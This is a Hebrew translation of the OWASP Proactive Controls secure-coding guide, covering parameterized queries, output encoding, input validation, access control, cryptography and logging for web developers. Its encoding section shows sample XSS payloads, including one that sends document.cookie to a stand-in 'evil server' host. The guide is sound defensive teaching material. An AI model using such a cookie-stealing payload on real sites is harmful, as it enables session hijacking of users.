OWASP Top Ten Proactive Controls

מפתחי תוכנה הינם הבסיס לכל יישום. על-מנת להשיג תוכנה מאובטחת, מפתחים נדרשים לקבל תמיכה ועזרה מהארגון עבורו הם כותבים קוד. כאשר מפתחים כותבים קוד אשר יוצר יישומי Web, עליהם לאמץ ולתרגל מגוון רחב של שיטות פיתוח מאובטח. כלל שכבות יישום ה-Web, ממשק המשתמש, הלוגיקה העסקית, הבקר, הקוד של בסיס הנתונים – כולן אמורות להיות מפותחות מתוך ראיית אבטחת מידע. הדבר עשוי להיות משימה מורכבת ולכן הדבר נידון לעיתים רבות לכשלון. מרבית המפתחים לא למדו פיתוח מאובטח או היבטי קריפטוגרפיה בבית ספר. שפות פיתוח ומסגרות עבודה (Frameworks) אשר בהן משתמשים מפתחים לפיתוח יישומי Web לרוב חסרים בקרות מהותיות או שהינם בלתי מאובטחים בדרך כלשהי כברירת מחדל. ייתכן וקיימים פגמים מובנים בדרישות או בתכנון. זה נדיר שארגונים מספקים למפתחים דרישות מחייבות המדריכות לנושא קוד מאובטח. בכל הנוגע לפיתוח מאובטח בעולם ה-Web, המפתחים לרוב נידונים להפסיד בכל הנוגע לאבטחה.

מסמך זה נכתב ע"י מפתחים עבור מפתחים, על-מנת לסייע להכשיר מפתחים חדשים בנוגע לפיתוח מאובטח. מטרתו להדריך מפתחים ומומחי פיתוח אחרים בדרך של פיתוח מאובטח.

קיימים מעל 10 נושאים אשר מפתחים נדרשים להיות מודעים להם. חלק מאותן "עשר בקרות" יהיו מאוד ספציפיות ונושאים אחרים יפלו תחת קטגוריה כללית. חלק מנושאים אלו יהיו טכניים, אחרים יתבססו על תהליכים. אנשים מסויימים יטענו כי מסמך זה כולל נושאים שאינם בקרות כלל וכלל. כל החששות הללו הוגנות. זהו מסמך מודעות אשר מיועד למי שחדש בתחום פיתוח מאובטח. זוהי התחלה ולא הסוף.

מספר האנשים שתרמו או השפיעו על מסמך זה הינו עצום על-מנת להזכירם. ברצוני להודות לכל הצוות של סדרת ה-Cheat Sheets אשר תוכנו הוכנס בנדיבות לתוך מסמך זה.

מציגים את מסמך הבקרות הפרו-אקטיביות של OWASP לשנת 2014.

1. שאילתות מבוססות משתנים

מתקפה מסוג SQL injection הינה אחד מסיכוני יישומי Web המסוכנים ביותר בשל הסיבה שמתקפה זו הינה גם קלה לניצול, עם כלי תקיפה אוטומטיים הזמינים ברשת, וגם עשויה לגרום לנזק הרסני ליישום עצמו.

החדרה בצורה קלה של קוד זדוני מבוסס SQL לתוך יישום ה-Web – וכל בסיס הנתונים עשוי להגנב, להמחק או להשתנות. ניתן אף לנצל את יישום ה-Web להרצת פקודות מערכת הפעלה זדוניות כלפי מערכת ההפעלה המארחת את בסיס הנתונים עצמו.

על-מנת לעצור מתקפה מסוג SQL injection, מפתחים חייבים למנוע מקלט לא מאומת לעבור תרגום כחלק מפקודת ה-SQL. הדרך הטובה ביותר למנוע מתקפה זו הינה שימוש בשאילתא מבוססת משתנים.

להלן דוגמא לשימוש בשאילתא מבוססת משתנים בשפת Java:

```
String newName = request.getParameter("newName");
String id = request.getParameter("id");
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET
NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);
```

להלן דוגמא לשימוש בשאילתא מבוססת משתנים בשפת PHP:

```
$email  = $_REQUEST['email'];
```

```
$id = $_REQUEST['id'];
$stmt = $dbh->prepare("update users set email=:new_email where
id=:user_id");
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
```

<u>מקורות מידע נוספים</u>

- Query Parameterization Cheat Sheet
- OWASP Secure Coding Practices Quick Reference Guide

2. קידוד נתונים

קידוד הינו מנגנון חזק המסייע כנגד סוגים רבים של מתקפות, בייחוד מתקפות מבוססות הזרקת קוד. בעקרון, קידוד כולל תרגום של תווים מיוחדים לייצוג אשר אינו בעל משמעות לרכיב התרגום. קידוד אמור לעצור מגוון סוגים של מתקפות הזרקות קוד לרבות קידוד בפלטפורמת Unix, קידוד בפלטפורמת Windows, קידוד מבוסס LDAP וקידוד מבוסס XML. דוגמא נוספת לקידוד היא קידוד לפלט המיועד למנוע מתקפה מסוג Cross Site Scripting.

מפתחי Web לעיתים קרובות בונים עמודי Web בצורה דינאמית, המשלבים קוד מבוסס HTML/JavaScript עם מידע מבסיס הנתונים עם קלט מהמשתמש.

קלט זה צריך להחשב כמידע לא מאומת או מסוכן, דבר הדורש טיפול מיוחד כאשר כותבים קוד על בסיס פיתוח מאובטח. מתקפת Cross Site Scripting (XSS) או לתת לה הגדרה מתקפת הזרקת קוד JavaScript, קורית כאשר תוקף גורם למשתמש להפעיל קוד JavaScript זדוני אשר לא פותח במקור עבור אתר ה-Web.

מתקפות XSS פועלות בדפדפן המשתמש ועשויות להיות בעלות השפעה רחבה.

לדוגמא:

השחתת אתר באמצעות מתקפת XSS:

<script>document.body.innerHTML("Jim was here");</script>

גניבת מזהה שיחה (Session) באמצעות מתקפת XSS:

```
<script>
var img = new Image();
img.src="http://<some evil server>.com?" + document.cookie;
</script>
```

מתקפות XSS מתחלקות לשתיים: קבועה (Persistent) או משתקפת (Reflected). מתקפת XSS קבועה או שמורה (Stored XSS) קורית כאשר מתקפת XSS מוטמעת בתוך בסיס נתונים של אתר Web או במערכת הקבצים. סוג זה של מתקפה נחשב מסוכן ביותר מכיוון שמשתמשי המערכת כבר מחוברים לאתר כאשר המתקפה מופעלת, והזרקת קוד בודדת עשויה להשפיע על משתמשים רבים. מתקפת XSS משתקפת (Reflected XSS) קורית כאשר תוקף שומר תוכן XSS כחלק מה-URL וגורם לקורבן לפנות ל-URL. כאשר הקורבן פונה ל-URL, מתקפת ה-XSS מופעלת. סוג זה של מתקפת XSS פחות מסוכן מכיוון שהוא דורש רמה מסויימת של תגובה בין התוקף לקורבן.

קידוד פלט מבוסס הקשר הינה דרך פיתוח הכרחית על-מנת לעצור מתקפות XSS. הדבר מבוצע על הפלט, כאשר בונים את ממשק המשתמש, ברגע האחרון לפני שמכניסים מידע דינאמי בלתי-מאומת לתוך קוד ה-HTML. סוג הקידוד הנדרש תלוי בהקשר של קוד ה-HTML היכן שמידע לא מאומת מתווסף, לדוגמא בערך של תכונה או כחלק מתוכן ה-HTML או כחלק מבלוק של קוד JavaScript. סוג הקידוד הנדרש על-מנת לעצור מתקפת XSS כולל קידוד HTML, קידוד JavaScript וקידוד אחוזים (לדוגמא קידוד URL). פרוייקט Java Encoder Project and Enterprise Security API (ESAPI) של OWASP מספק מקודדים עבור פונקציות של Java בתוך .NET 4.5., מקודד AntiXssEncoder מספק מקודדים עבור CSS, HTML, URL, JavaScriptString ומקודדי XML – מקודדים אחרים עבור LDAP ו-VBScript כלולים כחלק מספריית הקוד הפתוח AntiXSS.

<u>מקורות מידע נוספים</u>

- Stopping XSS in your web application: OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet
- General information about injection: Top 10 2013-A1-Injection

<u>כלים נוספים:</u>

- OWASP Java Encoder Project
- Microsoft .NET AntiXSS Library
- OWASP ESAPI
- OWASP Encoder Comparison Reference Project

3. בדיקת קלטים

זה חובה לטפל בכל הקלט שהתקבל מחוץ לאפליקציה (לדוגמא, מדפדפנים או מיישומי מובייל, מחוץ למערכות או מקבצים) כבלתי מאומת. עבור יישומי Web הדבר כולל HTTP Headers, Cookies ופרמטרים מסוג GET ו-POST: כל מידע מסוג זה עשוי להיות מנוצל ע"י התוקף.

אחת הדרכים לבנות יישום Web בצורה מאובטחת היא להגביל את הקלט אשר המשתמש יכול להזין ליישום ה-Web. הגבלת קלט המשתמש הינה דרך הידועה בשם "בדיקת קלטים". בדיקת קלטים עשויה להיות חלק מיישום Web בקוד בצד השרת באמצעות שימוש במשתנים מסוג Regular expressions. משתנים מסוג זה הינם סוג של תחביר קוד אשר עשוי לסייע להחליט האם מחרוזת תואמת לתבנית מסויימת.

קיימת שתי גישות לבצע בדיקת קלטים: בדיקה בשיטת "רשימה חיובית" (White list) או רשימה שלילית (Black list). רשימה חיובית (White list) מנסה להגדיר כיצד יראה קלט טוב. כל קלט אשר אינו תואם ל"קלט טוב" אמור להדחות. "רשימה שלילית" (Black list) מנסה להגדיר מתקפות ידועות ורק קלטים התואמים למתקפות ידועות או לתווים הידועים כבעייתיים ידחו. בדיקה על בסיס "רשימה שלילית" (Black list) הינה בעלת נטייה לשגיאות וקשה לתחזוקה מכיוון שלעיתים ניתן לעקוף שיטה זו באמצעות קידוד או דרכים אחרות מבוססות obfuscation. שימוש ב"רשימה שלילית" (Black list) דורשת עדכון שוטף בשל העובדה שמתגלות דרכי קידוד חדשות. בשל חולשה זו, אין זה מומלץ להשתמש בשיטה זו כאשר מפתח יישומים בצורה מאובטחת. הדוגמאות הבאות יתמקדו בבדיקות על בסיס "רשימה חיובית" (White list).

כאשר משתמש מייצר לראשונה חשבון ביישום Web תאורטי, חלק מפרטי המידע הנדרשים הינם שם משתמש, סיסמא וכתובת דואר אלקטרוני. במידה וקלט זה הגיע ממשתמש זדוני, הקלט עשוי להכיל מחרוזות טקסט אשר ישמשו לתקיפת היישום. באמצעות בדיקת קלט המשתמש על-מנת לוודא כי פיסות

המידע מכילות אך ורק תווים העומדים באורך המצופה, נוכל לוודא כי תקיפת יישום ה-Web תיהיה קשה יותר.

נתחיל עם ביטוי מסוג regular expression עבור שם המשתמש.

^[a-z0-9_]{3,16}$

בדיקת קלט מסוג regular expression זה בשיטת "רשימה חיובית" (White list) עבור תווים מסוג אותיות קטנות באנגלית, מספרים ותווים מיוחדים. גודל שדה שם המשתמש מוגבל לאורך שבין 3 ל-16 תווים בדוגמא זו.

להלן דוגמא לביטוי מסוג regular expression עבור שדה הסיסמא.

^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$

ביטוי מסוג regular expression זה מוודא כי שדה הסיסמא הינו באורך שבין 10 ל-64 תווים וכולל אותיות גדולות באנגלית, אותיות קטנות באנגלית, מספרים ותווים מיוחדים.

להלן דוגמא של ביטוי מסוג regular expression עבור שדה כתובת הדואר האלקטרוני (עפ"י הגדרת תקן HTML5 - http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).

^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$

קיימים מקרים בהם ביטויים מסוג regular expression אינם מספיקים. במידה והיישום מטפל במידה מסומן (markup) - קלט לא מאומת אשר אמור להכיל קוד HTML – הדבר עשוי להיות מסובך לבדיקה. קידוד הינו דבר מורכב גם כן, מכיוון שהוא עשוי לשבור את כל ה-tags אשר אמורות להיות חלק מהקלט. לכן, אתם זקוקים לספריה (library) אשר יודעת לטפל ולנקות טקסט במבנה HTML כגון OWASP Java HTML Sanitizer. ביטוי מסוג regular expression אינו הכלי המתאים לטפל ולסנן מידע לא מאומת במבנה HTML.

כאן נמחיש את האמת המצערת לגבי בדיקת קלטים: בדיקת קלטים אינה הופכת בהכרח קלט לא מאומת ל"בטוח" מכיוון שייתכן ונדרש לקבל תווים בעייתיים כמידע לגיטימי. כאשר קלט זה בשימוש, נדרש לאכוף מנגנוני אבטחה בצד היישום, לדוגמא, במידה והיישום מייצר תשובה מסוג HTML, קידוד מתאים עבור קוד HTML צריך להתבצע על-מנת למנוע מתקפות מסוג Cross Site Scripting.

<u>מקורות מידע נוספים</u>

- Input Validation Cheat Sheet

<u>כלים נוספים:</u>

- OWASP JSON Sanitizer Project
- OWASP Java HTML Sanitizer Project
- Apache Commons Validator

4. יישם בקרות גישה מתאימות

Authorization (בקרת גישה) הינו מנגנון אשר בקשות גישה ליכולת או למשאב צריכות להינתן או להישלל. יש לציין כי Authorization אינו שווה ערך ל-Authentication (אימות הזהות). יש נטייה לבלבל בין מונחים אלו להגדרותיהם.

בקרת גישה עשויה להיות מורכבת ומבוססת ברובה על תכנון בקרות אבטחת מידע. בקרות הגישה ה"חיוביות" הבאות אמורות להופיע כדרישות בשלבי התכנון הראשוניים של פיתוח יישומים. ברגע שנבחרה תבנית פיתוח עבור בקרת גישה, לרוב הנושא מורכב ודורש זמן להתאים מחדש את בקרת הגישה ליישום על בסיס התבנית החדשה. בקרת גישה הינה אחד התחומים העיקריים בפיתוח מאובטח אשר נדרש להשקיע בו מחשבה רבה מראש.

הכרח את כל הבקשות לעבור דרך מנגנון המוודא בקרת גישה

מרבית מסגרות העבודה (Frameworks) ושפות הפיתוח רק מבצעות בדיקה עבור בקרות גישה במידה והמפתח הוסיף בדיקה זו. הדרך ההפוכה הינה תכנון מבוסס אבטחת מידע, אשר כל הגישות מאומתות לפני כן. יש לשקול שימוש במסנן או מנגנון אוטומטי אחר על-מנת לוודא כי כל הבקשות עוברות דרך מנגנוני בקרת גישה כלשהם.

יש לשלול גישה כברירת מחדל

בהתאמה לבקרות גישה אוטומטיות, יש לשקול לשלול גישה לתכונות אשר לא הוגדרו עבורן בקרות גישה. בד"כ ההיפך הוא הנכון כאשר תכונות חדשות מקבלות הרשאות גישה מלאות לכלל המשתמשים עד אשר המפתחים מוסיפים בקרות גישה מתאימות.

הימנע משימוש במדיניות השמורה בצורה קשיחה (Hard-coded) ברמת הקוד

לעיתים קרובות, מדיניות בקרת גישה שמורה בצורה קשיחה (Hard-coded) ברמת הקוד. הדבר גורם לכך שחיווי או הוכחת רמת האבטחה של התוכנה הינם דברים מורכבים אשר דורשים זמן רב. ככל האפשר, על מדיניות בקרת הגישה וקוד היישום להיות נפרדים. במילים אחרות, זוהי שכבת האכיפה (בקרות ברמת הקוד) וההחלטה על תהליכי בקרות הגישה ("מנוע" בקרת הגישה) צריך להיות נפרד ככל האפשר.

קוד לפעולה

מרבית מסגרות העבודה (Frameworks) בפיתוחי Web משתמשות בבקרות גישה מבוססות תפקיד (Role based) כדרך העיקרית לפיתוח נקודות אכיפה ברמת הקוד. בעוד שמקובל להשתמש בתפקידים (Roles) כמנגנוני בקרת גישה, כתיבת קוד ספציפית לטובת תפקיד ביישום קוד נחשב נוגד-מסגרת. יש לשקול בדיקה האם למשתמש יש גישה לתכונה ברמת הקוד, בניגוד לבדיקה מהו תפקיד המשתמש ברמת הקוד.

בדיקת מידע מאומת בצד-השרת כמניע לבקרת גישה

מרבית ההחלטות לגבי בקרת גישה (מיהו המשתמש, האם הוא מחובר למערכת, אילו זכויות יש למשתמש, מהי מדיניות בקרת הגישה, לאילו תכונות או מידע נדרש לגשת, מהו הזמן, מהו המיקום וכו') אמורות להתקבל "בצד-השרת" ביישומי Web או Web service סטנדרטיים. למדיניות המידע כגון תפקיד המשתמש או חוקי בקרת גישה אסור להיות חלק מהבקשה עצמה. ביישום Web סטנדרטי, המידע היחיד הנדרש בצד הלקוח לטובת בקרת גישה היו זהות המידע הנדרש לגישה. מרבית ייתר פרטי המידע לצורך החלטה לגבי בקרת גישה צריך להתקבל בצד-השרת.

<u>מקורות מידע נוספים</u>

- Access Control Cheat Sheet
- http://cybersecurity.ieee.org/center-for-secure-design/authorize-after-you-authenticate.html

<u>כלים נוספים:</u>

- OWASP PHPRBAC Project
- Apache Shiro Authorization features

5. יישם בקרות זהות ואימות

אימות (Authentication) הינו מנגנון וידוא כי אדם או זהות הוא אכן מי שהוא טוען שהוא. אימות מתבצע לרוב באמצעות הזנת שם משתמש או ID ופרט מידע אישי נוסף אשר רק משתמש אחד אמור לדעת.

ניהול שיחה (Session management) הינו תהליך בו השרת מנהל מצב (state) של זהות איתה הוא מתקשר. נדרש מהשרת לזכור כיצד לנהוג למספר בקשות עוקבות במהלך עסקה (transaction). מזהי השיחה (Sessions) נשמרים בצד השרת באמצעות מזהה שיחה (Session identifier) אשר עשוי לנוע בין צד הלקוח לצד השרת כאשר משדרים ומבקשים בקשות. מזהי שיחה (Sessions) אמורים להיות ייחודיים לכל משתמש וכן מחושבים באופן בלתי אפשרי לניחוש.

ניהול זהויות (Identity management) הינו נושא רחב יותר אשר כולל לא רק אימות מנגנון ניהול שיחה (session management), אלא מכסה גם נושאים מורכבים כגון איחוד זהויות, SSO, כלי ניהול סיסמאות, מאגרי זהויות ועוד.

<u>מקורות מידע נוספים</u>

- Authentication Cheat Sheet
- Password Storage Cheat Sheet
- Forgot Password Cheat Sheet
- Session Management Cheat Sheet

6. הגן על מידע ופרטיות

הצפנת מידע בתעבורה

כאשר משדרים מידע רגיש, בכל שכבה ביישום או בתצורת הרשת, יש לשקול הצפנה-בתעבורה מסוג כלשהו. SSL/TLS הינו המודל הנפוץ והמוכר ביותר למימוש הצפנה בתעבורה ביישומי Web. למרות חולשות שפורסמו במימושים מסויימים (לדוגמא Heartbleed), זהו עדיין האופן המקובל והמומלץ למימוש שכבת הצפנה בתעבורה.

<u>מקורות מידע נוספים</u>

- Proper SSL/TLS configuration: Transport Layer Protection Cheat Sheet
- Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: Pinning Cheat Sheet

הצפנת מידע מאוחסן

קשה לפתח אחסון מבוסס קריפטוגרפיה בצורה מאובטחת. חובה לסווג את המידע במערכת ולהחליט כי נדרש להצפין מידע, כגון מספרי כרטיסי אשראי עבור תקן PCI. כמו-כן, בכל פעם בו אתם מנסים לפתח פונקציות קריפטוגרפיות ברמה-נמוכה בעצמכם, וודאו כי אתם נעזרים במומחה לתחום. במקום לכתוב פונקציות קריפטוגרפיות מאפס, מומלץ במקום זאת לקבל סקירה הדדית באמצעות ספריות (Libraries) קוד פתוח, כגון פרוייקט KeyCzar של Google, Bouncy Castle והפונקציות המובנות ב-SDK. כמו-כן, עליכם להתכונן לטפל בהיבטים מורכבים של מימוש קריפטוגרפיה כגון ניהול מפתחות (Key

management), תכנון ארכיטקטורת קריפטוגרפיה כוללת וכן שכבות ונושאי אימות מורכבים ברמת התוכנה.

חולשה שכיחה בנושא הצפנת מידע מאוחסן הינה שימוש במפתחות בלתי מתאימים, או שמירת המפתח ביחד עם המידע המוצפן (המקבילה הקריפטוגרפית לשמירת המפתח מתחת למחצלת). מפתחות צריכים להיות מטופלים כסודות ורק להישמר ברכיב בעת תעבורה ברשת, לדוגמא: להיות מוזנים ע"י המשתמש לצורך פענוח, ואז להימחק מהזיכרון.

<u>מקורות מידע נוספים</u>

- Information on low level decisions necessary when encrypting data at rest: Cryptographic Storage Cheat Sheet
- Password Storage Cheat Sheet

<u>כלים נוספים:</u>

- OWASP SSL Audit for Testers
- Google KeyCzar

7. יישם תיעוד ואמצעים לזיהוי חדירות

חיוויי ברמת היישום צריך להילקח בחשבון מבעוד מועד או מוגבל לשלב ניפוי השגיאות או פתרון תקלות. חיוויי משמש גם לפעילויות חשובות אחרות:

- ניטור היבטי היישום
- ניתוח עסקי ותובנות
- בדיקת פעילות וניטור לצורכי תאימות (Compliance)
- אמצעי לזיהוי חדירות במערכת
- תחקור (Forensics)

על-מנת לבצע ניתוח והתאמה בצורה פשוטה יותר, בסוס גישת חיוויי בסיסית בתוך המערכת וכן על פני מערכות ככל האפשר, באמצעות מסגרת (Framework) חיוויי מעמיקה כגון SLF4J עם Logback או Apache עם Log4j2, על-מנת להבטיח כי כלל רשומות החיוויי נשמרות בצורה אחידה.

ניטור תהליכים, חיוויי ותיעוד עסקאות (transaction logs/trails) וכו' לרוב נאספים לצרכי שונים מאשר לטובת איסוף אירועי אבטחת מידע, ולרוב פירוש הדבר כי נדרש לשמור חיוויי זה בצורה נפרדת. סוגי האירועים והפרטים הנאספים נוטים להיות שונים. לדוגמא חיוויי עבור תקן PCI DSS יכיל רצף רשומות של אירועים על-מנת לייצר תיעוד עצמאי הניתן לאימות אשר יאפשר יצירה מחדש, סקירה ובחינה לצורך קבלת החלטה לגבי רצף העסקאות (transactions) המיוחסות.

חשוב להקפיד לא לתעד יותר מדי, או פחות מדי. הקפידו לתעד את הזמן המדוייק ומידע לגבי הזהות כגון כתובת המקור (source IP) וזהות המשתמש (user-id), אבל להימנע מתיעוד של פרטים אישיים או מידע חסוי הוא חשיפת מידע או סודות. השתמשו בידע לגבי הצורך הנדרש על-מנת להדריך אתכם לגבי מה, מתי וכמה מידע לתעד. על-מנת להימנע מהזרקות של מידע לתיעוד (Log injection) הידועות בכינוי Log Forging, בצעו קידוד למידע לא מאומת לפני שמירתו בקבצי התיעוד.

פרוייקט AppSensor של OWASP מסביר כיצד לממש אמצעי לזיהוי חדירות (Intrusion detection) ותגובה אוטומטית לתוך יישום קיים, היכן לשלב חיישנים או נקודות זיהוי ואילו פעולות תגובה ליישם כאשר קורית חריגת אבטחת מידע בתוך היישום.

מקורות מידע נוספים

- How to properly implement logging in an application: Logging Cheat Sheet

כלים נוספים:

- OWASP AppSensor Project

8. שימוש בתכונות אבטחה של מסגרות עבודה (Frameworks) וספריות (Libraries) אבטחה

להתחיל מאפס כשהדבר נוגע לפיתוח בקרות אבטחה עשוי להוביל לבזבוז זמן וכמות עצומה של חורי אבטחה. פיתוח מאובטח של ספריות (Libraries) מסייע למפתחים להגן מפני פגמי אבטחה הקשורים לתכנון ומימוש של יישומים.

ככל שניתן, הדגש צריך להיות על שימוש בתכונות הקיימות של מסגרות העבודה (Frameworks) במקום על ייבוא של ספריות (Libraries) צד שלישי. עדיף למפתחים לנצל מה שכבר בשימוש במקום להתמודד עם ספריות אחרות. מסגרות עבודה בעולם הפיתוח המאובטח אותן ניתן לשקול כוללות:

- Spring Security
- Apache Shiro

מקורות מידע נוספים

- PHP Security Cheat Sheet
- .NET Security Cheat Sheet

9. כלול דרישות אבטחת מידע

קיימות שלוש קטגוריות של דרישות אבטחת מידע אשר ניתן להגדיר בשלבים מוקדמים של פרוייקט פיתוח תוכנה:

1. **תכונות ופונקציות אבטחה**: בקרות אבטחת המידע הנראות לעין עבור המערכת, לרבות אימות (Authentication), פונקציות בקרת גישה וחיוויי. דרישות אלו לרוב מוגדרות באמצעות שימוש במקרים נפוצים ובסיפורי משתמשים (user stories) הכוללים קלט, התנהגות ופלט, והן עשויות לעבור סקירה ובדיקת פונקציונליות לתקינותן ע"י צוות ה-QA.
   לדוגמא, בדיקת אימות מחדש (Re-authentication) בעת החלפת סיסמא או בדיקה על-מנת לוודא כי שינוי למידע מסויים תועד כראוי.
2. **מקרי ניצול לוגיקה עסקית**: תכונות לוגיקה עסקית כוללות מספר שלבים ומספר עצי תהליכי-עבודה (Workflows) אשר קשה להעריך בצורה מעמיקה וכוללים עלות כספית או פריטים בעלי ערך, נתוני הזדהות משתמשים, מידע פרטי או פונקציות שליטה/בקרה, לדוגמא תהליכי עבודה של מוצר eCommerce, בחירת מסלולי שילוח, או בקרות העברות בנקאיות. סיפורי המשתמש (user stories) או מקרים נפוצים עבור דרישות אלו כוללים החרגות ותרחישי כשלון (מה קורה כאשר שלב נכשל או פג תוקף או במידה והמשתמש מנסה להכשיל או לחזור על שלב?) ודרישות הנגזרות מ"מקרי ניצול". מקרי ניצול מתארים כיצד פונקציות היישום מנוצלות ע"י התוקף. מעבר על כשלונות ותרחישי מקרי ניצול יחשוף חולשות בבקרות ובטיפול בשגיאות אשר עשויות להשפיע על אמינות ואבטחת המידע של היישום.

3. **דרישות סיווג מידע ופרטיות**: מפתחים חייבים להיות מודעים לכל מידע אישי או חסוי במערכת ולוודא כי מידע זה מוגן. מהו מקור המידע? האם ניתן לסמוך על מקור המידע? מהו המידע השמור או מוצג? האם המידע חייב להיות שמור או מוצג? מי מורשה ליצור את המידע, לצפות בו, לשנות אותו והאם ניתן לעקוב אחר כל הפעילויות הללו? כל זה יניע את הצורך לאמת את המידע, לקיים בקרות גישה, הצפנה, חיווי ובקרת תיעוד במערכת.

<u>מקורות מידע נוספים</u>

- OWASP Application Security Verification Standard Project
- Software Assurance Maturity Model
- Business Logic Security Cheat Sheet
- Testing for business logic (OWASP-BL-001)

10. תכנון וארכיטקטורה מאובטחים

קיימים מספר תחומים לדאגה בנוגע לאבטחת מידע בארכיטקטורה ובתכנון של מערכת. התחומים כוללים:

1. **הכירו את הכלים בהם אתם משתמשים**: הבחירה שלכם בשפת פיתוח או בפלטפורמה (מערכת הפעלה, שרת ה-Web, הודעות, בסיס הנתונים או מנהל מידע מבוסס NOSQL) יביאו לתוצאות כגון סיכוני אבטחת מידע תלויי-טכנולוגיה ושיקולים אשר צוותי הפיתוח חייבים להבין ולנהל.
2. **שכבות, אמון ותלויות**: חלק מהותי נוסף של ארכיטקטורה ותכנון מאובטחים הוא שכבות ואמון. החלטה לגבי אילו בקרות להכיל בצד הלקוח, שכבת שרת ה-Web, שכבת הלוגיקה העסקית, שכבת ניהול המידע, והיכן לבסס אמון בין מערכות שונות או בין רכיבים שונים של אותה המערכת. גבולות האמון מגדירים החלטות לגבי מנגנוני אימות (Authentication), בקרת גישה, בקרת מידע וקידוד, הצפנה ותיעוד. מידע, מקורות מידע ושירותים בתוך גבולות האמון אשר ניתן לסמוך עליהם – לא ניתן לסמוך על שום דבר מחוץ לגבולות האמון. כאשר מתכננים או משנים את התכנון או את המערכת, שימו לב כי אתם מבינים את ההנחות לגבי אמון, שימו לב כי ההנחות תקפות, וכן שההנחות מתקיימות באופן עקבי.
3. **ניהול משטח האיום**: היו מודעים למשטח האיום, הדרכים דרכן תוקף עשוי להכנס למערכת, או להוציא מידע מהמערכת. זהו מתי אתם מגדילים את משטח האיום, והשתמשו במידע זה על-מנת לבצע הערכת סיכונים (במידה ואתם מתכוונים לבצע הערכת איומים או מתכננים בדיקות נוספות). האם אתם מכניסים למערכת API חדש או משנים פונקציית אבטחת מידע ברמת סיכון גבוהה במערכת, או שאתם פשוט מתכוונים להוסיף שדה חדש בעמוד קיים או בקובץ?

<u>מקורות מידע נוספים</u>

- Software Assurance Maturity Model (OpenSAMM)
- Application Security Verification Standard Project
- Application Security Architecture Cheat Sheet
- Attack Surface Analysis Cheat Sheet
- Threat Modeling Cheat Sheet

Top Ten Mapping

בקרות פרו-אקטיביות של OWASP

מרבית המפתחים שמעו על מסמך OWASP Top 10, רשימת 10 פגיעויות האבטחה החמורות ביותר בעולם פיתוחי ה-Web, אשר יש להימנע מהן.

עם זאת, על-מנת להימנע מהן, מפתחים חייבים להיות מודעים לבקרות הפרו-אקטיביות על-מנת לשלבן בשלבים מוקדמים של מחזור חיי פיתוח תוכנה.

מסמך זה מתחיל בהצגת עשרת הבקרות הפרו-אקטיביות של OWASP, ולאחר מכן מספק מיפוי של עשרת הפגיעויות הנפוצות של OWASP למול הבקרות המתאימות.

רשימת הבקרות הפרו-אקטיביות של OWASP	לאילו פגיעויות מרשימת OWASP Top 10 הבקרה נותנת מענה
OWASP-C1 – שאילתות מבוססות משתנים שאילתות מבוססות משתנים הינן דרך להשפיע על שכבת הגישה לנתונים מופשטים, כיצד משתנים מתורגמים לפני הרצת שאילתת SQL. הדבר מהווה הגנה מפני SQL injection.	**מונע:** **A1 – הזרקת קוד זדוני (Injection)** בעיות הזרקת קוד זדוני, כגון SQL injection קורות כאשר מידע לא מאומת נשלח לרכיב התרגום כחלק מפקודה או שאילתא.
OWASP-C2 – קידוד נתונים קידוד נתונים לפני שימוש ב-Parser (JS, CSS, XML)	**מונע:** **A1 – הזרקת קוד זדוני (Injection)** בעיות הזרקת קוד זדוני, כגון SQL injection קורות כאשר מידע לא מאומת נשלח לרכיב התרגום כחלק מפקודה או שאילתא. **Cross-Site Scripting (XSS) – A3** בעיות XSS קורות כאשר יישום לוקח מידע לא מאומת ושולח אותו לדפדפן ללא בדיקות קלט מתאימות. מתקפת XSS מאפשרת לתוקף להריץ סקריפטים בדפדפן המותקף, דבר אשר עשוי להוביל לגניבת מזהה המשתמש (user session), להשחית עמודי אינטרנט, או להפנות את המשתמש לאתרים המכילים קוד עוין.
OWASP-C3 – בדיקת קלטים יש לקחת בחשבון את כל הקלט שמקורו מחוץ ליישום כבלתי אמין. עבור יישומי Web, שימוש ב-HTTP Headers, Cookies, ומשתנים מסוג GET ו-POST: תוקף עשוי לנצל מידע זה לרעה.	**מונע:** **A1 – הזרקת קוד זדוני (Injection)** בעיות הזרקת קוד זדוני, כגון SQL injection קורות כאשר מידע לא מאומת נשלח לרכיב התרגום כחלק מפקודה או שאילתא. **Cross-Site Scripting (XSS) – A3** בעיות XSS קורות כאשר יישום לוקח מידע לא מאומת ושולח אותו לדפדפן ללא בדיקות קלט מתאימות. מתקפת XSS מאפשרת לתוקף להריץ סקריפטים בדפדפן המותקף, דבר אשר עשוי להוביל לגניבת מזהה המשתמש (user session), להשחית עמודי אינטרנט, או להפנות את המשתמש לאתרים המכילים קוד עוין. **A10 – הפניות והעברות לא מאומתות**
OWASP-C4 – יישם בקרות גישה מתאימות Authorization (בקרת גישה) הינו מנגנון אשר בקשות גישה ליכולת או למשאב צריכות להינתן או להישלל. להלן בקרות גישה "חיוביות" אשר אמורות להופיע כדרישות בשלבי התכנון הראשוניים של פיתוח יישומים:	**מונע:** **A4 – אזכור ישיר לרכיב לא מאובטח** אזכור ישיר לרכיב קורה כאשר מפתח חושף אזכור לרכיב פנימי כגון קובץ, תיקייה או מפתח של בסיס נתונים. ללא בקרת גישה או הגנה אחרת, תוקף עשוי לנצל לרעה אזכורים אלו על-מנת לגשת למידע ללא הרשאה מתאימה.

• הכרח את כל הבקשות לעבור דרך מנגנון המוודא בקרת גישה • יש לשלול גישה כברירת מחדל • הימנע משימוש במדיניות השמורה בצורה קשיחה (Hard-coded) ברמת הקוד • בדוק כל גישה לפונקציה בצד השרת	**A7 – חוסר בבקרות גישה ברמת היישום** יישומים צריכים לבצע בדיקות בצד השרת עבור כל גישה לפונקציה. במידה ובקשות אינן מאומתות, תוקף עשוי לזייף בקשות על-מנת לגשת ליכולות ללא בקרת גישה מתאימה.
